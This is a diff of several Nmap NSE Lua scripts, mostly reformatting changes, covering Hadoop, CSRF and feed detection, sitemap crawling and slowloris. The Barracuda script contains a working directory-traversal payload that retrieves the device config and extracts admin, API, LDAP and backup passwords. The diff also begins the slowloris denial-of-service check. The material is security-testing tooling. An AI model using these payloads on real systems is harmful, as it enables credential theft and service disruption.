table.insert(result, tasktrackers)
|
||||||
end
|
end
|
||||||
if stdnse.get_script_args('hadoop-jobtracker-info.userinfo') then
|
if stdnse.get_script_args('hadoop-jobtracker-info.userinfo') then
|
||||||
local userhistory = get_userhistory (host, port)
|
local userhistory = get_userhistory (host, port)
|
||||||
table.insert(result, "Userhistory: ")
|
table.insert(result, "Userhistory: ")
|
||||||
table.insert(result, userhistory)
|
table.insert(result, userhistory)
|
||||||
end
|
end
|
||||||
if #result > 0 then
|
if #result > 0 then
|
||||||
port.version.name = "hadoop-jobtracker"
|
port.version.name = "hadoop-jobtracker"
|
||||||
port.version.product = "Apache Hadoop"
|
port.version.product = "Apache Hadoop"
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -27,10 +27,10 @@ http://www.exploit-db.com/exploits/15130/
|
|||||||
-- nmap --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p <port> <host>
|
-- nmap --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p <port> <host>
|
||||||
--
|
--
|
||||||
-- @args http-max-cache-size
|
-- @args http-max-cache-size
|
||||||
-- Set max cache size. The default value is 100,000.
|
-- Set max cache size. The default value is 100,000.
|
||||||
-- Barracuda config files vary in size mostly due to the number
|
-- Barracuda config files vary in size mostly due to the number
|
||||||
-- of users. Using a max cache size of 5,000,000 bytes should be
|
-- of users. Using a max cache size of 5,000,000 bytes should be
|
||||||
-- enough for config files containing up to 5,000 users.
|
-- enough for config files containing up to 5,000 users.
|
||||||
--
|
--
|
||||||
-- @output
|
-- @output
|
||||||
-- PORT STATE SERVICE REASON
|
-- PORT STATE SERVICE REASON
|
||||||
@@ -85,100 +85,100 @@ portrule = shortport.port_or_service (8000, "barracuda", {"tcp"})
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"}
|
local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"}
|
||||||
local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00"
|
local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00"
|
||||||
local user_count = 0
|
local user_count = 0
|
||||||
local config_file = ""
|
local config_file = ""
|
||||||
|
|
||||||
-- Loop through vulnerable files
|
-- Loop through vulnerable files
|
||||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
for _, path in ipairs(paths) do
|
for _, path in ipairs(paths) do
|
||||||
|
|
||||||
-- Retrieve file
|
-- Retrieve file
|
||||||
local data = http.get(host, port, tostring(path))
|
local data = http.get(host, port, tostring(path))
|
||||||
if data and data.status then
|
if data and data.status then
|
||||||
|
|
||||||
-- Check if file exists
|
-- Check if file exists
|
||||||
stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path))
|
stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path))
|
||||||
if tostring(data.status):match("200") then
|
if tostring(data.status):match("200") then
|
||||||
|
|
||||||
-- Attempt config file retrieval with LFI exploit
|
-- Attempt config file retrieval with LFI exploit
|
||||||
stdnse.print_debug(1, "%s: Exploiting: %s", SCRIPT_NAME, tostring(path .. payload))
|
stdnse.print_debug(1, "%s: Exploiting: %s", SCRIPT_NAME, tostring(path .. payload))
|
||||||
data = http.get(host, port, tostring(path .. payload))
|
data = http.get(host, port, tostring(path .. payload))
|
||||||
if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then
|
if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then
|
||||||
|
|
||||||
-- Check if the HTTP response contains a valid config file in MySQL database dump format
|
-- Check if the HTTP response contains a valid config file in MySQL database dump format
|
||||||
if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then
|
if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then
|
||||||
config_file = data.body
|
config_file = data.body
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path .. payload))
|
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path .. payload))
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path))
|
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path))
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- No config file found
|
-- No config file found
|
||||||
if config_file == "" then
|
if config_file == "" then
|
||||||
stdnse.print_debug(1, ("%s: %s:%s is not vulnerable or connection timed out."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: %s:%s is not vulnerable or connection timed out."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Extract system info from config file in MySQL dump format
|
-- Extract system info from config file in MySQL dump format
|
||||||
stdnse.print_debug(1, "%s: Exploit success! Extracting system info from MySQL database dump", SCRIPT_NAME)
|
stdnse.print_debug(1, "%s: Exploit success! Extracting system info from MySQL database dump", SCRIPT_NAME)
|
||||||
|
|
||||||
-- Count users
|
-- Count users
|
||||||
if string.match(config_file, "'user_default_email_address',") then
|
if string.match(config_file, "'user_default_email_address',") then
|
||||||
for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end
|
for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end
|
||||||
end
|
end
|
||||||
table.insert(result, string.format("Users: %s", user_count))
|
table.insert(result, string.format("Users: %s", user_count))
|
||||||
|
|
||||||
-- Extract system info
|
-- Extract system info
|
||||||
local vars = {
|
local vars = {
|
||||||
{"Device", "branding_device_name"},
|
{"Device", "branding_device_name"},
|
||||||
{"Version","httpd_last_release_notes_version_read"},
|
{"Version","httpd_last_release_notes_version_read"},
|
||||||
{"Hostname","system_default_hostname"},
|
{"Hostname","system_default_hostname"},
|
||||||
{"Domain","system_default_domain"},
|
{"Domain","system_default_domain"},
|
||||||
{"Timezone","system_timezone"},
|
{"Timezone","system_timezone"},
|
||||||
{"Language","default_ndr_lang"},
|
{"Language","default_ndr_lang"},
|
||||||
{"Password","system_password"},
|
{"Password","system_password"},
|
||||||
{"API Password","api_password"},
|
{"API Password","api_password"},
|
||||||
{"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"},
|
{"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"},
|
||||||
{"Gateway","system_gateway"},
|
{"Gateway","system_gateway"},
|
||||||
{"Primary DNS","system_primary_dns_server"},
|
{"Primary DNS","system_primary_dns_server"},
|
||||||
{"Secondary DNS","system_secondary_dns_server"},
|
{"Secondary DNS","system_secondary_dns_server"},
|
||||||
{"DNS Cache","dns_cache"},
|
{"DNS Cache","dns_cache"},
|
||||||
{"Backup Server","backup_server"},
|
{"Backup Server","backup_server"},
|
||||||
{"Backup Port","backup_port"},
|
{"Backup Port","backup_port"},
|
||||||
{"Backup Type","backup_type"},
|
{"Backup Type","backup_type"},
|
||||||
{"Backup Username","backup_username"},
|
{"Backup Username","backup_username"},
|
||||||
{"Backup Password","backup_password"},
|
{"Backup Password","backup_password"},
|
||||||
{"NTP Enabled","system_ntp"},
|
{"NTP Enabled","system_ntp"},
|
||||||
{"NTP Server","system_ntp_server"},
|
{"NTP Server","system_ntp_server"},
|
||||||
{"SSH Enabled","system_ssh_enable"},
|
{"SSH Enabled","system_ssh_enable"},
|
||||||
{"BRTS Enabled","brts_enable"},
|
{"BRTS Enabled","brts_enable"},
|
||||||
{"BRTS Server","brts_lookup_domain"},
|
{"BRTS Server","brts_lookup_domain"},
|
||||||
{"HTTP Port","http_port"},
|
{"HTTP Port","http_port"},
|
||||||
{"HTTP Disabled","http_shutoff"},
|
{"HTTP Disabled","http_shutoff"},
|
||||||
{"HTTPS Port","https_port"},
|
{"HTTPS Port","https_port"},
|
||||||
{"HTTPS Only","https_only"},
|
{"HTTPS Only","https_only"},
|
||||||
}
|
}
|
||||||
for _, var in ipairs(vars) do
|
for _, var in ipairs(vars) do
|
||||||
local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2]))
|
local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2]))
|
||||||
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
|
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119")
|
table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119")
|
||||||
|
|
||||||
-- Return results
|
-- Return results
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -62,126 +62,126 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
|
|||||||
-- Checks if this is really a token.
|
-- Checks if this is really a token.
|
||||||
isToken = function(value)
|
isToken = function(value)
|
||||||
|
|
||||||
local minlength = 8
|
local minlength = 8
|
||||||
local minentropy = 72
|
local minentropy = 72
|
||||||
|
|
||||||
-- If it has a reasonable length.
|
-- If it has a reasonable length.
|
||||||
if #value > minlength then
|
if #value > minlength then
|
||||||
|
|
||||||
local entropy = formulas.calcPwdEntropy(value)
|
local entropy = formulas.calcPwdEntropy(value)
|
||||||
|
|
||||||
-- Does it have a big entropy?
|
-- Does it have a big entropy?
|
||||||
if entropy >= minentropy then
|
if entropy >= minentropy then
|
||||||
-- If it doesn't contain any spaces but contains at least one digit.
|
-- If it doesn't contain any spaces but contains at least one digit.
|
||||||
if not string.find(value, " ") and string.find(value, "%d") then
|
if not string.find(value, " ") and string.find(value, "%d") then
|
||||||
return 1
|
return 1
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local singlepages = stdnse.get_script_args("http-csrf.singlepages")
|
local singlepages = stdnse.get_script_args("http-csrf.singlepages")
|
||||||
local checkentropy = stdnse.get_script_args("http-csrf.checkentropy") or false
|
local checkentropy = stdnse.get_script_args("http-csrf.checkentropy") or false
|
||||||
|
|
||||||
local csrfvuln = {}
|
local csrfvuln = {}
|
||||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
||||||
|
|
||||||
if (not(crawler)) then
|
if (not(crawler)) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
crawler:set_timeout(10000)
|
crawler:set_timeout(10000)
|
||||||
|
|
||||||
local index, response, path
|
local index, response, path
|
||||||
while (true) do
|
while (true) do
|
||||||
|
|
||||||
if singlepages then
|
if singlepages then
|
||||||
local k, target,
|
local k, target,
|
||||||
k, target = next(singlepages, index)
|
k, target = next(singlepages, index)
|
||||||
if (k == nil) then
|
if (k == nil) then
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
response = http.get(host, port, target)
|
response = http.get(host, port, target)
|
||||||
path = target
|
path = target
|
||||||
|
|
||||||
|
else
|
||||||
|
local status, r = crawler:crawl()
|
||||||
|
-- if the crawler fails it can be due to a number of different reasons
|
||||||
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
|
if (not(status)) then
|
||||||
|
if (r.err) then
|
||||||
|
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||||
else
|
else
|
||||||
local status, r = crawler:crawl()
|
break
|
||||||
-- if the crawler fails it can be due to a number of different reasons
|
|
||||||
-- most of them are "legitimate" and should not be reason to abort
|
|
||||||
if (not(status)) then
|
|
||||||
if (r.err) then
|
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
|
||||||
else
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
response = r.response
|
|
||||||
path = tostring(r.url)
|
|
||||||
end
|
|
||||||
|
|
||||||
if response.body then
|
|
||||||
|
|
||||||
local forms = http.grab_forms(response.body)
|
|
||||||
|
|
||||||
for i, form in ipairs(forms) do
|
|
||||||
|
|
||||||
form = http.parse_form(form)
|
|
||||||
|
|
||||||
local resistant = false
|
|
||||||
if form then
|
|
||||||
for _, field in ipairs(form['fields']) do
|
|
||||||
|
|
||||||
-- First we check the field's name.
|
|
||||||
if field['value'] then
|
|
||||||
resistant = string.find(field['name'], "[Tt][Oo][Kk][Ee][Nn]") or string.find(field['name'], "[cC][sS][Rr][Ff]")
|
|
||||||
-- Let's be sure, by calculating the entropy of the field's value.
|
|
||||||
if not resistant and checkentropy then
|
|
||||||
resistant = isToken(field['value'])
|
|
||||||
end
|
|
||||||
|
|
||||||
if resistant then
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
if not resistant then
|
|
||||||
|
|
||||||
-- Handle forms with no id or action attributes.
|
|
||||||
form['id'] = form['id'] or ""
|
|
||||||
form['action'] = form['action'] or "-"
|
|
||||||
|
|
||||||
local msg = "\nPath: " .. path .. "\nForm id: " .. form['id'] .. "\nForm action: " .. form['action']
|
|
||||||
table.insert(csrfvuln, { msg } )
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if (index) then
|
|
||||||
index = index + 1
|
|
||||||
else
|
|
||||||
index = 1
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
response = r.response
|
||||||
|
path = tostring(r.url)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- If the table is empty.
|
if response.body then
|
||||||
if next(csrfvuln) == nil then
|
|
||||||
return "Couldn't find any CSRF vulnerabilities."
|
local forms = http.grab_forms(response.body)
|
||||||
|
|
||||||
|
for i, form in ipairs(forms) do
|
||||||
|
|
||||||
|
form = http.parse_form(form)
|
||||||
|
|
||||||
|
local resistant = false
|
||||||
|
if form then
|
||||||
|
for _, field in ipairs(form['fields']) do
|
||||||
|
|
||||||
|
-- First we check the field's name.
|
||||||
|
if field['value'] then
|
||||||
|
resistant = string.find(field['name'], "[Tt][Oo][Kk][Ee][Nn]") or string.find(field['name'], "[cC][sS][Rr][Ff]")
|
||||||
|
-- Let's be sure, by calculating the entropy of the field's value.
|
||||||
|
if not resistant and checkentropy then
|
||||||
|
resistant = isToken(field['value'])
|
||||||
|
end
|
||||||
|
|
||||||
|
if resistant then
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
if not resistant then
|
||||||
|
|
||||||
|
-- Handle forms with no id or action attributes.
|
||||||
|
form['id'] = form['id'] or ""
|
||||||
|
form['action'] = form['action'] or "-"
|
||||||
|
|
||||||
|
local msg = "\nPath: " .. path .. "\nForm id: " .. form['id'] .. "\nForm action: " .. form['action']
|
||||||
|
table.insert(csrfvuln, { msg } )
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if (index) then
|
||||||
|
index = index + 1
|
||||||
|
else
|
||||||
|
index = 1
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(csrfvuln, 1, "Found the following possible CSRF vulnerabilities: ")
|
end
|
||||||
|
|
||||||
csrfvuln.name = crawler:getLimitations()
|
-- If the table is empty.
|
||||||
|
if next(csrfvuln) == nil then
|
||||||
|
return "Couldn't find any CSRF vulnerabilities."
|
||||||
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, csrfvuln)
|
table.insert(csrfvuln, 1, "Found the following possible CSRF vulnerabilities: ")
|
||||||
|
|
||||||
|
csrfvuln.name = crawler:getLimitations()
|
||||||
|
|
||||||
|
return stdnse.format_output(true, csrfvuln)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -40,10 +40,10 @@ FEEDS = { RSS = { search = { '<rss(.*)>' }, version = 'version=["\'](.-)["\']' }
|
|||||||
}
|
}
|
||||||
|
|
||||||
FEEDS_REFS = { "type=[\"']application/rss%+xml[\"']%s*href=[\"'](.-)[\"']",
|
FEEDS_REFS = { "type=[\"']application/rss%+xml[\"']%s*href=[\"'](.-)[\"']",
|
||||||
"type=[\"']application/rss%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
|
"type=[\"']application/rss%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
|
||||||
"type=[\"']application/atom%+xml[\"']%s*href=[\"'](.-)[\"']",
|
"type=[\"']application/atom%+xml[\"']%s*href=[\"'](.-)[\"']",
|
||||||
"type=[\"']application/atom%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
|
"type=[\"']application/atom%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
|
||||||
}
|
}
|
||||||
|
|
||||||
feedsfound = {}
|
feedsfound = {}
|
||||||
|
|
||||||
@@ -52,107 +52,107 @@ checked = {}
|
|||||||
-- Searches the resource for feeds.
|
-- Searches the resource for feeds.
|
||||||
local findFeeds = function(body, path)
|
local findFeeds = function(body, path)
|
||||||
|
|
||||||
if body then
|
if body then
|
||||||
for _, f in pairs(FEEDS) do
|
for _, f in pairs(FEEDS) do
|
||||||
for __, pf in pairs(f["search"]) do
|
for __, pf in pairs(f["search"]) do
|
||||||
|
|
||||||
local c = string.match(body, pf)
|
local c = string.match(body, pf)
|
||||||
|
|
||||||
if c then
|
if c then
|
||||||
local v = ""
|
local v = ""
|
||||||
-- Try to find feed's version.
|
-- Try to find feed's version.
|
||||||
if string.match(c, f["version"]) then
|
if string.match(c, f["version"]) then
|
||||||
v = " (version " .. string.match(c, f["version"]) .. ")"
|
v = " (version " .. string.match(c, f["version"]) .. ")"
|
||||||
end
|
end
|
||||||
feedsfound[path] = _ .. v .. ": "
|
feedsfound[path] = _ .. v .. ": "
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
checked[path] = true
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
checked[path] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local maxpagecount = stdnse.get_script_args("maxpagecount") or 40
|
local maxpagecount = stdnse.get_script_args("maxpagecount") or 40
|
||||||
|
|
||||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
||||||
maxpagecount = maxpagecount,
|
maxpagecount = maxpagecount,
|
||||||
maxdepth = -1,
|
maxdepth = -1,
|
||||||
withinhost = 1
|
withinhost = 1
|
||||||
})
|
})
|
||||||
|
|
||||||
crawler.options.doscraping = function(url)
|
crawler.options.doscraping = function(url)
|
||||||
if crawler:iswithinhost(url)
|
if crawler:iswithinhost(url)
|
||||||
and not crawler:isresource(url, "js")
|
and not crawler:isresource(url, "js")
|
||||||
and not crawler:isresource(url, "css") then
|
and not crawler:isresource(url, "css") then
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if (not(crawler)) then
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
crawler:set_timeout(10000)
|
||||||
|
|
||||||
|
local index, k, target, response, path
|
||||||
|
while (true) do
|
||||||
|
|
||||||
|
local status, r = crawler:crawl()
|
||||||
|
-- if the crawler fails it can be due to a number of different reasons
|
||||||
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
|
if (not(status)) then
|
||||||
|
if (r.err) then
|
||||||
|
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||||
|
else
|
||||||
|
break
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if (not(crawler)) then
|
response = r.response
|
||||||
return
|
path = tostring(r.url)
|
||||||
end
|
|
||||||
|
|
||||||
crawler:set_timeout(10000)
|
if response.body then
|
||||||
|
findFeeds(response.body, path)
|
||||||
|
|
||||||
local index, k, target, response, path
|
for _, p in ipairs(FEEDS_REFS) do
|
||||||
while (true) do
|
for l in string.gmatch(response.body, p) do
|
||||||
|
if not checked[l] then
|
||||||
local status, r = crawler:crawl()
|
local resp
|
||||||
-- if the crawler fails it can be due to a number of different reasons
|
-- If this is an absolute URL, use get_url.
|
||||||
-- most of them are "legitimate" and should not be reason to abort
|
if string.match(l, "^http") then
|
||||||
if (not(status)) then
|
resp = http.get_url(l)
|
||||||
if (r.err) then
|
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
|
||||||
else
|
else
|
||||||
break
|
resp = http.get(host, port, l)
|
||||||
end
|
end
|
||||||
end
|
if resp.body then
|
||||||
|
findFeeds(resp.body, l)
|
||||||
response = r.response
|
|
||||||
path = tostring(r.url)
|
|
||||||
|
|
||||||
if response.body then
|
|
||||||
findFeeds(response.body, path)
|
|
||||||
|
|
||||||
for _, p in ipairs(FEEDS_REFS) do
|
|
||||||
for l in string.gmatch(response.body, p) do
|
|
||||||
if not checked[l] then
|
|
||||||
local resp
|
|
||||||
-- If this is an absolute URL, use get_url.
|
|
||||||
if string.match(l, "^http") then
|
|
||||||
resp = http.get_url(l)
|
|
||||||
else
|
|
||||||
resp = http.get(host, port, l)
|
|
||||||
end
|
|
||||||
if resp.body then
|
|
||||||
findFeeds(resp.body, l)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- If the table is empty.
|
end
|
||||||
if next(feedsfound) == nil then
|
|
||||||
return "Couldn't find any feeds."
|
|
||||||
end
|
|
||||||
|
|
||||||
-- Create a nice output.
|
-- If the table is empty.
|
||||||
local results = {}
|
if next(feedsfound) == nil then
|
||||||
for c, _ in pairs(feedsfound) do
|
return "Couldn't find any feeds."
|
||||||
table.insert(results, {_ .. c } )
|
end
|
||||||
end
|
|
||||||
|
|
||||||
table.insert(results, 1, "Found the following feeds: ")
|
-- Create a nice output.
|
||||||
|
local results = {}
|
||||||
|
for c, _ in pairs(feedsfound) do
|
||||||
|
table.insert(results, {_ .. c } )
|
||||||
|
end
|
||||||
|
|
||||||
results.name = crawler:getLimitations()
|
table.insert(results, 1, "Found the following feeds: ")
|
||||||
|
|
||||||
return stdnse.format_output(true, results)
|
results.name = crawler:getLimitations()
|
||||||
|
|
||||||
|
return stdnse.format_output(true, results)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -115,7 +115,7 @@ local function findName(host, port, path, number)
|
|||||||
end
|
end
|
||||||
if errors>10 then
|
if errors>10 then
|
||||||
stdnse.print_debug(1, "%s:False positive detected. Exiting.", SCRIPT_NAME)
|
stdnse.print_debug(1, "%s:False positive detected. Exiting.", SCRIPT_NAME)
|
||||||
errors_max=true
|
errors_max=true
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, "Added folder: %s", path .. "~" .. number)
|
stdnse.print_debug(1, "Added folder: %s", path .. "~" .. number)
|
||||||
table.insert(folders, path .. "~" .. number)
|
table.insert(folders, path .. "~" .. number)
|
||||||
|
|||||||
@@ -123,56 +123,56 @@ function action(host, port)
|
|||||||
local starting_url = stdnse.get_script_args('http-sitemap-generator.url') or "/"
|
local starting_url = stdnse.get_script_args('http-sitemap-generator.url') or "/"
|
||||||
|
|
||||||
-- create a new crawler instance
|
-- create a new crawler instance
|
||||||
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } )
|
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } )
|
||||||
|
|
||||||
if ( not(crawler) ) then
|
if ( not(crawler) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local visited = {}
|
local visited = {}
|
||||||
local dir_structure = {}
|
local dir_structure = {}
|
||||||
local total_ext = {}
|
local total_ext = {}
|
||||||
local longest_dir_structure = {dir="/", depth=0}
|
local longest_dir_structure = {dir="/", depth=0}
|
||||||
while(true) do
|
while(true) do
|
||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if r.response.status and r.response.status == 200 then
|
if r.response.status and r.response.status == 200 then
|
||||||
--check if we've already visited this file
|
--check if we've already visited this file
|
||||||
local path = normalize_path(r.url.path)
|
local path = normalize_path(r.url.path)
|
||||||
if not visited[path] then
|
if not visited[path] then
|
||||||
local ext = get_file_extension(path)
|
local ext = get_file_extension(path)
|
||||||
if total_ext[ext] then total_ext[ext]=total_ext[ext]+1 else total_ext[ext]=1 end
|
if total_ext[ext] then total_ext[ext]=total_ext[ext]+1 else total_ext[ext]=1 end
|
||||||
local dir = normalize_path(r.url.dir)
|
local dir = normalize_path(r.url.dir)
|
||||||
local _,dir_depth = string.gsub(dir,"/","/")
|
local _,dir_depth = string.gsub(dir,"/","/")
|
||||||
-- check if this path is the longest one
|
-- check if this path is the longest one
|
||||||
dir_depth = dir_depth - 1 -- first '/'
|
dir_depth = dir_depth - 1 -- first '/'
|
||||||
if dir_depth > longest_dir_structure["depth"] then
|
if dir_depth > longest_dir_structure["depth"] then
|
||||||
longest_dir_structure["dir"] = dir
|
longest_dir_structure["dir"] = dir
|
||||||
longest_dir_structure["depth"] = dir_depth
|
longest_dir_structure["depth"] = dir_depth
|
||||||
end
|
end
|
||||||
dict_add(dir_structure, dir, ext)
|
dict_add(dir_structure, dir, ext)
|
||||||
-- when withinhost=false, then maybe we'd like to include the full url
|
-- when withinhost=false, then maybe we'd like to include the full url
|
||||||
-- with each path listed in the output
|
-- with each path listed in the output
|
||||||
visited[path] = true
|
visited[path] = true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local out = internal_table_to_output(sort_dirs(dir_structure))
|
local out = internal_table_to_output(sort_dirs(dir_structure))
|
||||||
local tot = sort_by_keys(total_ext)
|
local tot = sort_by_keys(total_ext)
|
||||||
out =
|
out =
|
||||||
{
|
{
|
||||||
"Directory structure:", out,
|
"Directory structure:", out,
|
||||||
{name="Longest directory structure:", "Depth: "..tostring(longest_dir_structure.depth), "Dir: "..longest_dir_structure.dir},
|
{name="Longest directory structure:", "Depth: "..tostring(longest_dir_structure.depth), "Dir: "..longest_dir_structure.dir},
|
||||||
{name="Total files found (by extension):", table.concat(tot, "; ")}
|
{name="Total files found (by extension):", table.concat(tot, "; ")}
|
||||||
}
|
}
|
||||||
return stdnse.format_output(true, out)
|
return stdnse.format_output(true, out)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -61,99 +61,99 @@ portrule = shortport.http
|
|||||||
local HalfHTTP
|
local HalfHTTP
|
||||||
local Bestopt
|
local Bestopt
|
||||||
local TimeWithout -- time without additional headers
|
local TimeWithout -- time without additional headers
|
||||||
local TimeWith -- time with additional headers
|
local TimeWith -- time with additional headers
|
||||||
|
|
||||||
-- does a half http request and waits until timeout
|
-- does a half http request and waits until timeout
|
||||||
local function slowThread1(host,port)
|
local function slowThread1(host,port)
|
||||||
-- if no response was received when determining SSL
|
-- if no response was received when determining SSL
|
||||||
if ( Bestopt == "none" ) then
|
if ( Bestopt == "none" ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
local socket,status
|
local socket,status
|
||||||
local catch = function()
|
local catch = function()
|
||||||
TimeWithout = nmap.clock()
|
TimeWithout = nmap.clock()
|
||||||
end
|
end
|
||||||
local try = nmap.new_try(catch)
|
local try = nmap.new_try(catch)
|
||||||
socket = nmap.new_socket()
|
socket = nmap.new_socket()
|
||||||
socket:set_timeout(500 * 1000)
|
socket:set_timeout(500 * 1000)
|
||||||
socket:connect(host.ip, port, Bestopt)
|
socket:connect(host.ip, port, Bestopt)
|
||||||
socket:send(HalfHTTP)
|
socket:send(HalfHTTP)
|
||||||
try(socket:receive())
|
try(socket:receive())
|
||||||
TimeWithout = nmap.clock()
|
TimeWithout = nmap.clock()
|
||||||
end
|
end
|
||||||
|
|
||||||
-- does a half http request but sends another
|
-- does a half http request but sends another
|
||||||
-- header value after 10 seconds
|
-- header value after 10 seconds
|
||||||
local function slowThread2(host,port)
|
local function slowThread2(host,port)
|
||||||
